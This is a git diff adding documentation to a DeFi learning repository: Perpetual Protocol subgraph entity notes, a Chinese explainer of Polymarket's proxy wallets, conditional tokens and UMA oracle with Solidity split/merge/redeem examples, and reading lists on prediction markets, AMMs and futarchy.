+
+trader 对象，包括 taker 和 maker
+
+- `settlementTokenBalance = settlement collateral + cumulative total pnl`
+- `nonSettlementTokenBalances = non-settlement collateral`
+
+### TraderMarket
+
+trader 的每个 base token 的 market 信息, Trader 的子字段
+
+### Position
+
+已废弃，用 TraderMarket 对象代替
+
+## ClearingHouse
+
+### PositionLiquidated
+
+清算头寸， PositionLiquidated 事件触发
+
+### Maker
+
+Maker 信息
+
+- `collectedFee` maker 通过提供流动性获取的手续费受益
+- `openOrders` maker 当前的 range orders
+
+### OpenOrder
+
+Maker 对象的子字段
+
+- `lowerTick` 价格下边界
+- `upperTick` 价格上边界
+- `liquidity` 流动性大小
+- `collectedFee` 该 range order 总共收取的手续费
+- `collectedFeeInThisLifecycle` 本轮收取手续费(如果maker抽走所有流动性，又添加流动性，算两个 life cycle)
+
+### LiquidityChanged
+
+流动性发生改变，LiquidityChanged 事件触发
+
+- `liquidity` + 为新增 - 为减少
+- `fromFunctionSignature` 由那个函数触发，记录其函数的 select id
+
+## AccountBalance
+
+### PnlRealized
+
+Pnl 发生变化，记录本次的变化量，PnlRealized 事件触发
+
+## Trader Historical Data
+
+### TraderDayData
+
+Trader 每天的交易数据
+
+- `tradingVolume` 一天的交易量
+- `fee` 一天被收取的手续费
+- `realizedPnl` 一天内的Pnl
+
+### ReferralCodeTraderDayData
+
+同上，只是在交易调用 referral code 时触发
+
+### ReferralCodeDayData
+
+ReferralCodeTraderDayData 的子字段
+
+### ReferralCode
+
+ReferralCodeDayData 的子字段
+
+### BadDebtHappened
+
+No such contract event, this is artificial for monitoring only
diff --git a/defi/Prediction_Market/Polymarket/README.md b/defi/Prediction_Market/Polymarket/README.md
new file mode 100644
index 000000000..caf5b7165
--- /dev/null
+++ b/defi/Prediction_Market/Polymarket/README.md
@@ -0,0 +1,98 @@
+# Polymarket
+## 介绍
+Polymarket是一个基于Matic Network的去中心化预测市场平台，允许用户对各种公共事件进行预测下注。由纽约大学的辍学生Shayne Coplan创建,本文将详细介绍Polymarket的使用与智能合约交互部分，以及如何完成预测清算。
+
+
+随着美国新一届大选的临近,关于新的总统候选人的讨论越来越火爆,而围绕着总统候选人展开博弈的去中心化预测市场平台也受到越来越多人们的关注
+
+
+
+## 机制及原理
+
+
+Polymarket通过去中心化的方式，使用户能够参与各种公共事件的预测，并在事件结果确定后进行清算。用户可以通过智能合约创建市场、参与交易和结算收益。Polymarket的核心实现方法由以下几个部分组合而成。
+
+
+
+#### Proxy钱包
+当用户首次进行交易前，他们会被提示创建一个钱包。用户会被引导在 Polygon 上部署一个1 of 1 多签钱包，这个钱包由用户钱包（EOA）控制和拥有（例如MetaMask）该多签钱包用于存放用户的所有positions（预测，以ERC1155形式存在）和 USDC。
+
+使用Proxy钱包能够提升用户体验，尤其在处理交易费用、批量交易处理以及交易执行的安全性和便利性方面表现突出，主要为以下几个方面:
+
+1. 中继者代付Gas费用
+2. 批量交易处理
+3. 免gas通过签名授权执行合约的逻辑
+
+用户只需在本地生成transaction的signature 并发出，无需直接与区块链交互。Polymarket接收到签名交易后，验证签名的有效性并执行诸如approve/buy/sell等操作。这种机制确保了交易的便利性和安全性，同时用户私钥也不存储在服务器上。同时，也使polymarket可以将多笔交易打包为一笔交易同时执行以大大降低gas消耗。
+
+
+
+#### CTF结果代币
+
+Polymarket 利用条件代币为用户提供了一个独特且动态的预测方式。在 Polymarket 上，所有的预测结果都通过 Gnosis 的条件代币框架（Conditional Tokens Framework, CTF）在 Polygon 上进行代币化。这些结果代币为二元结果，代表“YES”和“NO”，使用 ERC1155 代币实现。
+
+结果代币将会有三个生命周期,分别是
+1. 通过split质押USDC并创造出Yes 和 No两个代币
+2. 在市场上自由交易阶段以及自由组合复合资产
+3. 通过Merge在结算前退出市场或在结算后通过Redeem赎回质押的USDC
+
+以下是针对一个预测的两种获利情景,假设最终YES获得了胜利
+
+情况一：当用户是铸造者（即初期投入并分割代币的人）
+
+    1. 初始投入：用户质押1 USDC并通过 split 操作获得1个“YES”代币和1个“NO”代币。
+    2. 出售“NO”代币：用户相信结果会是“YES”，因此他决定出售“NO”代币。出售的价格取决于市场对“NO”结果的需求和预期。最终用户以0.4 USDC的价格出售了“NO”代币。
+    3. 事件结果为“YES”：当事件结果确定为“YES”后，用户使用“YES”代币通过 redeem 操作兑换回1 USDC。
+    4. 计算总收益:因此，总收益是1 USDC (赎回) + 0.4 USDC (出售“NO”) - 1 USDC (初始投入) = 0.4 USDC。
+
+情况二：当用户是购买了“YES”代币的人
+
+    1. 购买“YES”代币：用户在市场上购买不看好YES的人出售的“YES”代币，假设购买价格是0.6 USDC。
+    2. 事件结果为“YES”：事件结果确定为“YES”后，用户使用“YES”代币通过 redeem 操作兑换回1 USDC。
+    3. 计算总收益：用户从“YES”代币的赎回中获得1 USDC。因此，总收益是1 USDC (赎回) - 0.6 USDC (购买“YES”) = 0.4 USDC。
+
+结论
+
+	对于 split者，他们的盈利来自于成功出售他们不看好的结果代币（在这个例子中是“NO”）的收益以及对正确结果的赎回。
+	对于 购买者，他们的盈利来自于购买代币的成本与赎回获得的价值之间的差额。
+    
+在一个长期预测中(例如美国大选),往往结果瞬息万变,当预测事件的结果预期发生变化时，用户通过 merge 和 购买代币 的策略，能有效地管理和调整他们的投资和潜在的风险敞口，从而降低潜在风险。这种灵活性是预测市场特有的，也是吸引投资者参与的重要因素之一。
+
+通过以下案例可以帮助你更快的理解结果代币作为衍生品的潜力
+
+    假设某对冲基金想要做空Doge代币,但是Doge代币作为单边操作势必会有风险,所以他可以在polymarket上发布一个预测,将Doge强相关的几个KOL发布积极内容作为对冲风险资产:例如3个月内elon musk是否会积极的称赞Doge,并通过控制持有的条件代币来与单边的做空策略形成对冲
+
+
+通过使用结果代币的方式,Polymarket将去中心化预测市场与其他金融产品非常完美的结合起来.用户不仅可以买入代币用于预测,还可以使用金融杠杆做空认为不会发生的事情.应对预测期很长的项目时,用户也可以将他们认同的预测结果通过代币打包成复合资产,这使得polymarket灵活度大大提升
+
+#### UMA
+
+Polymarket 上大部分预测都是"抽象预测",其结果不能通过传统链上预言机来喂价实现(区别于传统对币价的预测)，所以通过整合 UMA 的乐观预言机 (Optimistic Oracle, OO) 来实现去中心化的市场决议。UMA 的预言机系统提供了一种机制，使合约能够请求并接收数据信息，以此支持对抽象问题的预测和解决。
+
+UMA 通常以乐观的方式处理数据验证,这意味着:当一个数据请求被发起时，如果没有争议，该数据将被默认为正确。在数据提交后的挑战期内，任何市场参与者都可以成为反驳者，他们可以挑战提交的数据(这有点像Optimistic的乐观模式)
+
+
+当乐观预言机（Optimistic Oracle, OO）提交的数据遭到质疑时，就会涉及到一个去中心化的投票过程来解决分歧。
+
+投票者来源于UMA代币持有者群体。这些持有者通常是投资者、开发者或者是对UMA平台有治理兴趣的用户。任何持有UMA代币并在DVM中注册的用户都有权参与到数据争议的解决过程中。在UMA的数据验证机制（DVM）中，投票权不仅仅基于持有的UMA代币数量，还取决于这些代币是否已经被质押到系统中。只有被质押的UMA代币才能授予投票权，这意味着用户必须将自己的UMA代币锁定在智能合约中，才能参与到决议争议的投票中。
+
+
+通过将 UMA 的预言机技术集成到其市场解决框架中，Polymarket 能够提供一个去中心化的、基于社区投票的解决方案，处理各种复杂和抽象的市场问题。Polymarket 开发了一个自定义的适配器合约 UmaCtfAdapter，这个合约作为连接 UMA 预言机和 Polymarket 条件代币框架（CTF）市场的桥梁，允许这两个系统之间的无缝交互。
+
+
+
+
+
+#### 5. 总结
+
+Polymarket利用Proxy钱包/CTF代币和UMA等合约实现了去中心化预测市场的创建、交易和清算。用户可以方便地参与预测市场，并在事件结果确定后获得相应收益。希望本文能帮助你更好地理解Polymarket的技术实现和使用方法。
+
+
+### 参考链接
+
+- Polymarket: https://polymarket.com/
+- Polymarket相关报道: https://foresightnews.pro/search?search=polymarket&search_type=website&params_type=article
+- UMA 官方文档: https://docs.uma.xyz/developers/quick-start
+- gnosis CTF官方文档: https://docs.gnosis.io/conditionaltokens/docs/devguide01
+- Polymarket官方文档: https://docs.polymarket.com/#introduction
+
diff --git a/defi/Prediction_Market/Polymarket/contracts/CTFToken.md b/defi/Prediction_Market/Polymarket/contracts/CTFToken.md
new file mode 100644
index 000000000..6b98a2c78
--- /dev/null
+++ b/defi/Prediction_Market/Polymarket/contracts/CTFToken.md
@@ -0,0 +1,275 @@
+# CTF Token
+
+### 概述
+Polymarket 利用Gnosis 的条件代币框架（Conditional Tokens Framework, CTF）为用户提供了一个独特且动态的预测方式。这些结果代币为二元结果，代表“YES”和“NO”，使用 ERC1155 代币实现。以下将深入介绍如何使用条件代币框架（CTF）进行代币的拆分（Split）、合并（Merge）和赎回（Redeem）。
+
+### 条件代币原理
+
+条件代币基于ERC1155标准，它允许在单一合约中管理多种类型的代币。每个条件代币都由一个独特的`positionId`标识，它是根据抵押品代币和特定条件的结果集合（`collectionId`）生成的。`collectionId`则是由父集合（`parentCollectionId`），条件ID（`conditionId`）和索引集（`indexSet`）组合而成。
+
+这些条件代币可以根据不同的结果进行拆分和合并。通过这种机制，用户可以在特定条件下根据事件的结果进行预测和参与市场活动。
+
+### 切分（Split）
+
+
+在 Polymarket 平台上，分裂操作是将一种基础代币（通常是 USDC）拆分为两个或多个代表不同结果的条件代币。例如，一个 USDC 可以拆分为 1 个代表 "YES" 结果的代币和 1 个代表 "NO" 结果的代币。这一操作允许用户在预测市场中对不同结果进行投资。
+
+#### 操作流程
+
+在合约中，`splitPosition`函数用于执行拆分操作。其关键参数包括：
+
+- `collateralToken`: 担保代币的地址，用于支持拆分后的条件代币。
+- `parentCollectionId`: 父集合ID，通常在简单场景下为空。
+- `conditionId`: 需要拆分的条件ID。
+- `partition`: 表示结果槽的索引集数组，每个元素表示结果集合中的某个子集。
+- `amount`: 拆分的数量，表示从担保品中拆分出的条件代币数量。
+
+
+通过调用 `splitPosition` 函数，用户可以将他们的基础代币拆分为多个不同的条件代币。每个条件代币代表一个特定的结果，这些代币可以在预测市场中进行交易或持有。
+
+这一行为主要目的其实是给polymarket的某个预测提供初始代币流动性。
+
+#### 示例代码
+
+```solidity
+function splitPosition(
+    IERC20 collateralToken,
+    bytes32 parentCollectionId,
+    bytes32 conditionId,
+    uint[] calldata partition,
+    uint amount
+) external {
+    require(partition.length > 1, "got empty or singleton partition");
+    uint outcomeSlotCount = payoutNumerators[conditionId].length;
+    require(outcomeSlotCount > 0, "condition not prepared yet");
+
+    uint fullIndexSet = (1 << outcomeSlotCount) - 1;
+    uint freeIndexSet = fullIndexSet;
+    uint[] memory positionIds = new uint[](partition.length);
+    uint[] memory amounts = new uint[](partition.length);
+    for (uint i = 0; i < partition.length; i++) {
+        uint indexSet = partition[i];
+        require(indexSet > 0 && indexSet < fullIndexSet, "got invalid index set");
+        require((indexSet & freeIndexSet) == indexSet, "partition not disjoint");
+        freeIndexSet ^= indexSet;
+        positionIds[i] = CTHelpers.getPositionId(collateralToken, CTHelpers.getCollectionId(parentCollectionId, conditionId, indexSet));
+        amounts[i] = amount;
+    }
+
+    if (freeIndexSet == 0) {
+        if (parentCollectionId == bytes32(0)) {
+            require(collateralToken.transferFrom(msg.sender, address(this), amount), "could not receive collateral tokens");
+        } else {
+            _burn(
+                msg.sender,
+                CTHelpers.getPositionId(collateralToken, parentCollectionId),
+                amount
+            );
+        }
+    } else {
+        _burn(
+            msg.sender,
+            CTHelpers.getPositionId(collateralToken,
+                CTHelpers.getCollectionId(parentCollectionId, conditionId, fullIndexSet ^ freeIndexSet)),
+            amount
+        );
+    }
+
+    _batchMint(
+        msg.sender,
+        positionIds,
+        amounts,
+        ""
+    );
+    emit PositionSplit(msg.sender, collateralToken, parentCollectionId, conditionId, partition, amount);
+}
+```
+
+
+当调用 `splitPosition` 函数时，合约内部会发生以下步骤：
+
+1. **参数验证与准备**：
+   - 合约首先检查输入的 `partition` 数组是否合法。
+   - 验证 `conditionId` 代表的条件是否已经被准备（通过检查 `payoutNumerators` 映射），确保该条件已经在系统中注册。
+
+2. **生成 Position ID**：
+   - 根据输入的 `collateralToken`、`parentCollectionId` 和 `conditionId` 生成对应的 `positionId`，这是一个 ERC1155 代币 ID，表示拆分出的具体条件代币。
+
+3. **代币转移与铸造**：
+   - 合约会根据 `parentCollectionId` 的值决定是否从用户那里直接转移 `collateralToken` 或是销毁已有的 `positionId`。
+   - 根据 `partition` 数组中的值，合约将为用户铸造一系列新的 ERC1155 条件代币。
+
+4. **事件触发**：
+   - 合约在成功拆分代币后，会触发 `PositionSplit` 事件，记录此次操作的细节，包括拆分的用户、条件 ID、拆分的代币数量等。
+
+
+### 合并（Merge）
+
+#### 背景
+
+合并操作是将多个代表不同结果的条件代币重新合并为一个基础代币。这个操作通常在预测事件进行中进行。通过合并，用户可以将持有的不同结果代币转换回基础代币(一般是USDT)。
+
+这个过程实际上是用户提前退出并降低杠杆或者流动性提供方退出流动性提供的过程。
+
+#### 操作流程
+
+在智能合约中，`mergePosition` 函数用于执行合并操作。其关键参数与 `splitPosition` 类似：
+
+- `collateralToken`: 支持条件代币的基础代币。
+- `parentCollectionId`: 父集合 ID，通常在简单场景下为空。
+- `conditionId`: 需要合并的条件 ID。
+- `partition`: 一个表示结果槽的索引集数组。
+- `amount`: 合并的数量，表示要合并的条件代币数量。
+
+通过调用 `mergePosition` 函数，用户可以将他们的条件代币合并为基础代币用于退出流动性。
+
+#### 示例代码
+
+```solidity
+function mergePositions(
+    IERC20 collateralToken,
+    bytes32 parentCollectionId,
+    bytes32 conditionId,
+    uint[] calldata partition,
+    uint amount
+) external {
+    require(partition.length > 1, "got empty or singleton partition");
+    uint outcomeSlotCount = payoutNumerators[conditionId].length;
+    require(outcomeSlotCount > 0, "condition not prepared yet");
+
+    uint fullIndexSet = (1 << outcomeSlotCount) - 1;
+    uint freeIndexSet = fullIndexSet;
+    uint[] memory positionIds = new uint;
+    uint[] memory amounts = new uint;
+    for (uint i = 0; i < partition.length; i++) {
+        uint indexSet = partition[i];
+        require(indexSet > 0 && indexSet < fullIndexSet, “got invalid index set”);
+        require((indexSet & freeIndexSet) == indexSet, “partition not disjoint”);
+        freeIndexSet ^= indexSet;
+        positionIds[i] = CTHelpers.getPositionId(collateralToken, CTHelpers.getCollectionId(parentCollectionId, conditionId, indexSet));
+        amounts[i] = amount;
+    }
+    _batchBurn(
+        msg.sender,
+        positionIds,
+        amounts
+    );
+    if (freeIndexSet == 0) {
+        if (parentCollectionId == bytes32(0)) {
+            require(collateralToken.transfer(msg.sender, amount), "could not send collateral tokens");
+        } else {
+            _mint(
+                msg.sender,
+                CTHelpers.getPositionId(collateralToken, parentCollectionId),
+                amount,
+                ""
+            );
+        }
+    } else {
+        _mint(
+            msg.sender,
+            CTHelpers.getPositionId(collateralToken,
+                CTHelpers.getCollectionId(parentCollectionId, conditionId, fullIndexSet ^ freeIndexSet)),
+            amount,
+            ""
+        );
+    }
+
+    emit PositionsMerge(msg.sender, collateralToken, parentCollectionId, conditionId, partition, amount);
+}
+```
+当调用 `mergePositions` 函数时，合约内部会发生以下步骤：
+
+1. **参数验证与准备**：
+   - 合约首先检查输入的 `partition` 数组是否合法。
+   - 验证 `conditionId` 是否已经被准备，确保该条件已经在系统中注册。
+
+2. **生成 Position ID**：
+   - 根据 `collateralToken`、`parentCollectionId` 和 `conditionId` 生成对应的 `positionId`，表示将要合并的具体条件代币。
+
+3. **代币销毁与转移**：
+   - 合约会销毁用户持有的多个条件代币（`positionId`），并计算出需要返还给用户的基础代币（如 USDC）的数量。
+   - 根据 `parentCollectionId` 的值，合约可能会直接将对应数量的 `collateralToken` 转移给用户，或者铸造新的 `positionId` 代表合并后的结果。
+
+4. **事件触发**：
+   - 合约在成功合并代币后，会触发 `PositionsMerge` 事件，记录此次操作的细节，包括合并的用户、条件 ID、合并的代币数量等。
+
+### 赎回（Redeem）
+
+#### 背景
+
+赎回操作是指当条件的结果被报告后，用户可以将持有的条件代币兑换为基础抵押品。这个操作通常发生在某个事件的结果已经确定，并且用户希望将持有的代币转换为实际的抵押品代币。
+
+这个过程基本都是发生在胜利方兑现奖金时发生。
+
+#### 操作流程
+
+在合约中，`redeemPositions`函数用于执行赎回操作。其关键参数包括：
+
+- `collateralToken`: 担保代币的地址，用于赎回操作。
+- `parentCollectionId`: 父集合ID，通常在简单场景下为空。
+- `conditionId`: 需要赎回的条件ID。
+- `indexSets`: 表示结果槽的索引集数组，表示要赎回的条件代币。
+
+#### 示例代码
+
+```solidity
+function redeemPositions(IERC20 collateralToken, bytes32 parentCollectionId, bytes32 conditionId, uint[] calldata indexSets) external {
+    uint den = payoutDenominator[conditionId];
+    require(den > 0, "result for condition not received yet");
+    uint outcomeSlotCount = payoutNumerators[conditionId].length;
+    require(outcomeSlotCount > 0, "condition not prepared yet");
+
+    uint totalPayout = 0;
+
+    uint fullIndexSet = (1 << outcomeSlotCount) - 1;
+    for (uint i = 0; i < indexSets.length; i++) {
+        uint indexSet = indexSets[i];
+        require(indexSet > 0 && indexSet < fullIndexSet, "got invalid index set");
+        uint positionId = CTHelpers.getPositionId(collateralToken,
+            CTHelpers.getCollectionId(parentCollectionId, conditionId, indexSet));
+
+        uint payoutNumerator = 0;
+        for (uint j = 0; j < outcomeSlotCount; j++) {
+            if (indexSet & (1 << j) != 0) {
+                payoutNumerator = payoutNumerator.add(payoutNumerators[conditionId][j]);
+            }
+        }
+
+        uint payoutStake = balanceOf(msg.sender, positionId);
+        if (payoutStake > 0) {
+            totalPayout = totalPayout.add(payoutStake.mul(payoutNumerator).div(den));
+            _burn(msg.sender, positionId, payoutStake);
+        }
+    }
+
+    if (totalPayout > 0) {
+        if (parentCollectionId == bytes32(0)) {
+            require(collateralToken.transfer(msg.sender, totalPayout), "could not transfer payout to message sender");
+        } else {
+            _mint(msg.sender, CTHelpers.getPositionId(collateralToken, parentCollectionId), totalPayout, "");
+        }
+    }
+    emit PayoutRedemption(msg.sender, collateralToken, parentCollectionId, conditionId, indexSets, totalPayout);
+}
+```
+
+当调用 `redeemPositions` 函数时，合约内部会发生以下步骤：
+
+1. **参数验证与准备**：
+   - 合约首先检查 `conditionId` 对应的条件是否已经有明确的结果（通过检查 `payoutDenominator`）。
+   - 验证输入的 `indexSets` 数组是否合法，确保这些索引集是有效的并且与条件结果相匹配。
+
+2. **计算用户的应得奖励**：
+   - 合约根据用户持有的 `positionId` 代币数量，按照 `payoutNumerators` 和 `payoutDenominator` 的值计算用户应得的基础代币（如 USDC）数量。
+   - 对于每个 `positionId`，合约会销毁用户持有的代币，并累计应发放的奖励总额。
+
+3. **代币转移**：
+   - 合约将计算出的奖励金额以 `collateralToken` 的形式转移给用户。如果条件的 `parentCollectionId` 为零，意味着用户将直接获得基础代币；否则，用户将获得代表结果的 `positionId` 代币。
+
+4. **事件触发**：
+   - 合约在成功赎回代币后，会触发 `PayoutRedemption` 事件，记录此次操作的细节，包括赎回的用户、条件 ID、赎回的代币数量等。
+
+### 总结
+
+CTF代币通过这三个操作过程为用户提供了灵活的工具来管理他们在polymarket中的投资，既可以根据市场变化调整头寸，又可以在结果确定后获得最终的收益。
\ No newline at end of file
diff --git a/defi/Prediction_Market/README.md b/defi/Prediction_Market/README.md
new file mode 100644
index 000000000..112acc36c
--- /dev/null
+++ b/defi/Prediction_Market/README.md
@@ -0,0 +1,26 @@
+[中文](./README_CN.md) / English
+
+# PMThings
+
+This repo contains something about Prediction Market
+
+Original repo link: https://github.com/Whisker17/PMThings
+
+## [Prediction Market](https://github.com/Whisker17/PMThings/blob/main/pm/README.md)
+
+The prediction market is an exchange-traded market created to trade the outcome of an event. The market price in it can indicate the probability that the masses believe the event will occur. Prediction market contracts are traded between 0 and 100%. It is a binary option with an expiry price of 0 or 100%.
+
+Prediction markets can be considered as a more general concept of crowdsourcing, which is specifically designed to gather information on specific topics. The main purpose of prediction markets is to generate aggregate beliefs about unknown future results. For contracts traded by traders with different beliefs, their payments are related to unknown future results, and the market price of the contract is considered to be the performance of aggregate beliefs.
+
+## [AMM in PM](https://github.com/Whisker17/PMThings/blob/main/amm/README.md)
+
+Automated market makers are an indispensable existence in the DeFi field, but the CPMM (constant product market makers) commonly used in DEX or its variants are not suitable for the field of predicting the market. Countless people have conducted research on this. A series of AMM algorithms headed by LMSR (Logarithmic Market Integration Rule) are presented.
+
+## [Futarchy](https://github.com/Whisker17/PMThings/blob/main/futarchy/README.md)
+
+A governance method proposed by Robin Hanson.
+
+## [Dev Related](https://github.com/Whisker17/PMThings/blob/main/dev/README.md)
+
+Analysis and comparison and source code analysis based on prediction market projects.
+
diff --git a/defi/Prediction_Market/README_CN.md b/defi/Prediction_Market/README_CN.md
new file mode 100644
index 000000000..34c2655b7
--- /dev/null
+++ b/defi/Prediction_Market/README_CN.md
@@ -0,0 +1,28 @@
+中文 / [English](./README.md)
+
+# PMThings
+
+本仓库包含预测市场及其相关领域资料，欢迎大家提交 PR ！
+
+原 repo 链接：https://github.com/Whisker17/PMThings
+
+## [Prediction Market / 预测市场](https://github.com/Whisker17/PMThings/blob/main/pm/README.md)
+
+预测市场是为了交易事件结果而创建的交易所交易市场，其中的市场价格可以表明群众认为事件发生的概率是多少。预测市场合约在 0 到 100% 之间交易。它是一种二元期权，到期价格为 0 或 100%。
+
+预测市场可以被认为属于更普遍的众包概念，这是专门设计来聚集特定主题的信息。预测市场的主要目的是对未知的未来结果产生聚集性信念。具有不同信念的交易者交易的合约，其支付与未知的未来结果有关，合约的市场价格被认为是聚合信念的表现。
+
+## [AMM in PM / 预测市场中的AMM](https://github.com/Whisker17/PMThings/blob/main/amm/README.md)
+
+自动化做市商是 DeFi 领域中不可或缺的存在，但在 DEX 中普遍使用的 CPMM （恒定乘积做市商）或者其变体并不适合预测市场这个领域，无数人对此进行了研究，得出了以 LMSR（对数市场积分规则）为首的一系列 AMM 算法。
+
+## [Futarchy](https://github.com/Whisker17/PMThings/blob/main/futarchy/README.md) 
+
+Robin Hanson 提出的一种治理方案。
+
+## [Dev Related / 相关开发资料]((https://github.com/Whisker17/PMThings/blob/main/dev/README.md))
+
+基于预测市场项目进行分析对比以及源码解析。
+
+
+
diff --git a/defi/Prediction_Market/amm/README.md b/defi/Prediction_Market/amm/README.md
new file mode 100644
index 000000000..de5b99202
--- /dev/null
+++ b/defi/Prediction_Market/amm/README.md
@@ -0,0 +1,42 @@
+# AMM in PM
+
+## Scoring Rules
+
+### For Beginners
+
+- [ ] [**Wiki**] [Scoring rule Wiki](https://en.wikipedia.org/wiki/Scoring_rule)
+- [ ] [**Wiki**] [Brier score Wiki](https://en.wikipedia.org/wiki/Brier_score)
+- [ ] [**Article**] [Automated Market Makers for Prediction Markets](https://docs.gnosis.io/conditionaltokens/docs/introduction3/)
+- [ ] [**Deck**] [Market Scoring Rules](https://courses.cs.duke.edu/spring17/compsci590.2/market_scoring.pdf)
+
+### Advanced
+
+- [ ] [**Paper**] [**Automated Market Makers for Decentralized Finance (DeFi)**](https://arxiv.org/pdf/2009.01676.pdf)
+- [ ] [**Deck**] [**Excel File: Trading Under MSRs**](https://bitcoinhivemind.com/papers/LogMSR_Demo.xlsx)
+- [ ] [**Article**] [New Prediction Market Design - what I call "Time Dependent Scoring Bets"](https://pashanomics.substack.com/p/new-prediction-market-design-what)
+
+- [ ] [**Paper**] [**Profit-Charging Market Makers with Bounded Loss, Vanishing Bid/Ask Spreads, and Unlimited Market Depth**](https://www.cs.cmu.edu/~sandholm/profitChargingMarketMaker.ec12.pdf)
+
+
+
+## LMSR - Logarithmic Market Scoring Rules
+
+### For Beginners
+
+- [ ] [**Wiki**] [**Logarithmic Market Scoring Rules Wiki**](https://en.wikipedia.org/wiki/Scoring_rule#Logarithmic_scoring_rule)
+- [ ] [**Deck**] [Hanson's Market Scoring Rules](http://www.eecs.harvard.edu/cs286r/courses/fall08/files/Hanson Market Scoring Rule.ppt)
+- [ ] [**Article**] [**How does the Logarithmic Market Scoring Rule (LMSR) work?**](https://www.cultivatelabs.com/prediction-markets-guide/how-does-logarithmic-market-scoring-rule-lmsr-work)
+- [ ] [**Article**] [**Survey of Automated Market Making Algorithms**](https://medium.com/terra-money/survey-of-automated-market-making-algorithms-951f91ce727a)
+- [ ] [**Article**] [Implementing a LMSR Prediction Market](https://beza1e1.tuxen.de/articles/LMSR.html)
+- [ ] [**Article**] [**Radical Markets for Elephants**](https://blog.gnosis.pm/radical-markets-for-elephants-a742916812db)
+- [ ] [**Article**] [Augur’s Automated Market Maker: The LS-LMSR](https://augur.mystrikingly.com/blog/augur-s-automated-market-maker-the-ls-lmsr) ([Reddit](https://www.reddit.com/r/Augur/comments/3ed0wm/augurs_automated_market_maker_the_lslmsr/))
+- [ ] [**Article**] [Automated Market Makers for Prediction Markets](https://docs.gnosis.io/conditionaltokens/docs/introduction3/)
+- [ ] [**Article**] [**IMPLEMENTING HANSON'S MARKET MAKER**](http://blog.oddhead.com/2006/10/30/implementing-hansons-market-maker/)
+
+### Advanced
+
+- [ ] [**Paper**] [Logarithmic Market Scoring Rules for Modular Combinatorial Information Aggregation](https://mason.gmu.edu/~rhanson/mktscore.pdf) - Robin Hanson
+- [ ] [**Paper**] [A Practical Liquidity-Sensitive Automated Market Maker](http://www.cs.cmu.edu/~sandholm/liquidity-sensitive%20market%20maker.EC10.pdf) - Abraham Othman / David M. Pennock
+- [ ] [**Paper**] [Automated Market Makers for Decentralized Finance (DeFi)](https://arxiv.org/pdf/2009.01676.pdf) - Yongge Wang
+- [ ] [**Article**] [**Zeitgeist's Unique AMM Model: The "Rikiddo" Scoring Rule**](https://blog.zeitgeist.pm/introducing-zeitgeists-rikiddo-scoring-rule/)  ([中文版](https://www.chainnews.com/articles/886051557010.htm))
+- [ ] [**Article**] [New Prediction Market Design - what I call "Time Dependent Scoring Bets"](https://pashanomics.substack.com/p/new-prediction-market-design-what)
diff --git a/defi/Prediction_Market/dev/README.md b/defi/Prediction_Market/dev/README.md
new file mode 100644
index 000000000..70d249b9f
--- /dev/null
+++ b/defi/Prediction_Market/dev/README.md
@@ -0,0 +1,13 @@
+# Dev Related
+
+## Zeitgeist
+
+
+
+
+
+## Gnosis
+
+
+
+## Augur
\ No newline at end of file
diff --git a/defi/Prediction_Market/futarchy/README.md b/defi/Prediction_Market/futarchy/README.md
new file mode 100644
index 000000000..64293009b
--- /dev/null
+++ b/defi/Prediction_Market/futarchy/README.md
@@ -0,0 +1,17 @@
+# Futarchy
+
+## For Beginners
+
+- [ ] [**Wiki**] [**Futarchy Wiki**](https://en.wikipedia.org/wiki/Futarchy)
+- [ ] [**Article**] [**An Introduction to Futarchy**](https://blog.ethereum.org/2014/08/21/introduction-futarchy/)
+- [ ] [**Article**] [An Introduction to Cryptoeconomics and Futarchy experiments on Gnosis](https://medium.com/@consensus/an-introduction-to-cryptoeconomics-and-futarchy-experiments-on-gnosis-df85220f840a)
+- [ ] [**Article**] [Futarchy | 价值投票，对赌信仰，用钱说话，口说无凭](https://daorayaki.org/futarchy/)
+
+## Advanced
+
+- [ ] [**Paper**] [**Shall We Vote on Values, But Bet on Beliefs?**](http://mason.gmu.edu/~rhanson/futarchy.pdf)
+- [ ] [**Video**] [EB98 – Robin Hanson: Futarchy, Prediction Markets And The Challenge Of Disruptive Technology](https://www.youtube.com/watch?v=mUUk0jSndoc&ab_channel=EpicenterPodcast)
+- [ ] [**Video**] [On-chain Governance: the Future is Futarchy by Polaris: Alex Stokes at Web3 Summit 2018](https://www.youtube.com/watch?v=i1OSZw7hVHk&ab_channel=Web3Foundation)
+- [ ] [**Video**] [Decentralized Governance - Vitalik Buterin @ ETHNewYork](https://www.youtube.com/watch?v=6LbRtvdRVBw&ab_channel=ETHGlobal)
+- [ ] [**Video**] [**Vitalik Buterin : Things that matter outside of defi**](https://www.youtube.com/watch?v=oLsb7clrXMQ&t=351s)
+
diff --git a/defi/Prediction_Market/pm/README.md b/defi/Prediction_Market/pm/README.md
new file mode 100644
index 000000000..e98d78928
--- /dev/null
+++ b/defi/Prediction_Market/pm/README.md
@@ -0,0 +1,51 @@
+# Prediction Markets
+
+## Prediction Market
+
+### For Beginners
+
+- [ ] [**Wiki**] [Prediction Market Wiki](https://en.wikipedia.org/wiki/Prediction_market)
+- [ ] [**Article**] [What are the different types of prediction markets?](https://www.cultivatelabs.com/prediction-markets-guide/what-are-the-different-types-of-prediction-markets)
+- [ ] [**Article**] [Explained: Prediction Markets](https://schor.medium.com/decentralized-prediction-markets-explained-d9f0425d331c)
+- [ ] [**Article**] [What is a Prediction Market?](https://corporatefinanceinstitute.com/resources/knowledge/trading-investing/prediction-market/)
+- [ ] [**Article**] [**On Prediction Markets And Blockchains**](https://allenfarrington.medium.com/on-prediction-markets-and-blockchain-48037d12039d)
+- [ ] [**Article**] [Prediction Market](https://www.investopedia.com/terms/p/prediction-market.asp)
+- [ ] [**Article**] [The problem with prediction markets](https://insights.deribit.com/market-research/the-problem-with-prediction-markets/)
+- [ ] [**Article**] [Re-Discovering Prediction Markets](https://blog.aeternity.com/re-discovering-prediction-markets-ac2e780bb263)
+- [ ] [**Article**] [Why & How Decentralized Prediction Markets Will Change Just About Everything.](https://medium.com/@ConsenSys/why-how-decentralized-prediction-markets-will-change-just-about-everything-15ff02c98f7c)
+- [ ] [**Lecture**] [A Brief Introduction to Prediction Markets](http://www.probabilityandfinance.com/GTP2014/Slides/Abernethy1.pdf)
+- [ ] [**Lecture**] [Prediction Markets](https://www.pearsonhighered.com/assets/samplechapter/0/3/2/1/0321419316.pdf)
+- [ ] [**Article**] [Differentiating Prediction Markets from Gambling](https://medium.com/delphy/differentiating-prediction-markets-from-gambling-ccb2e1a57893)
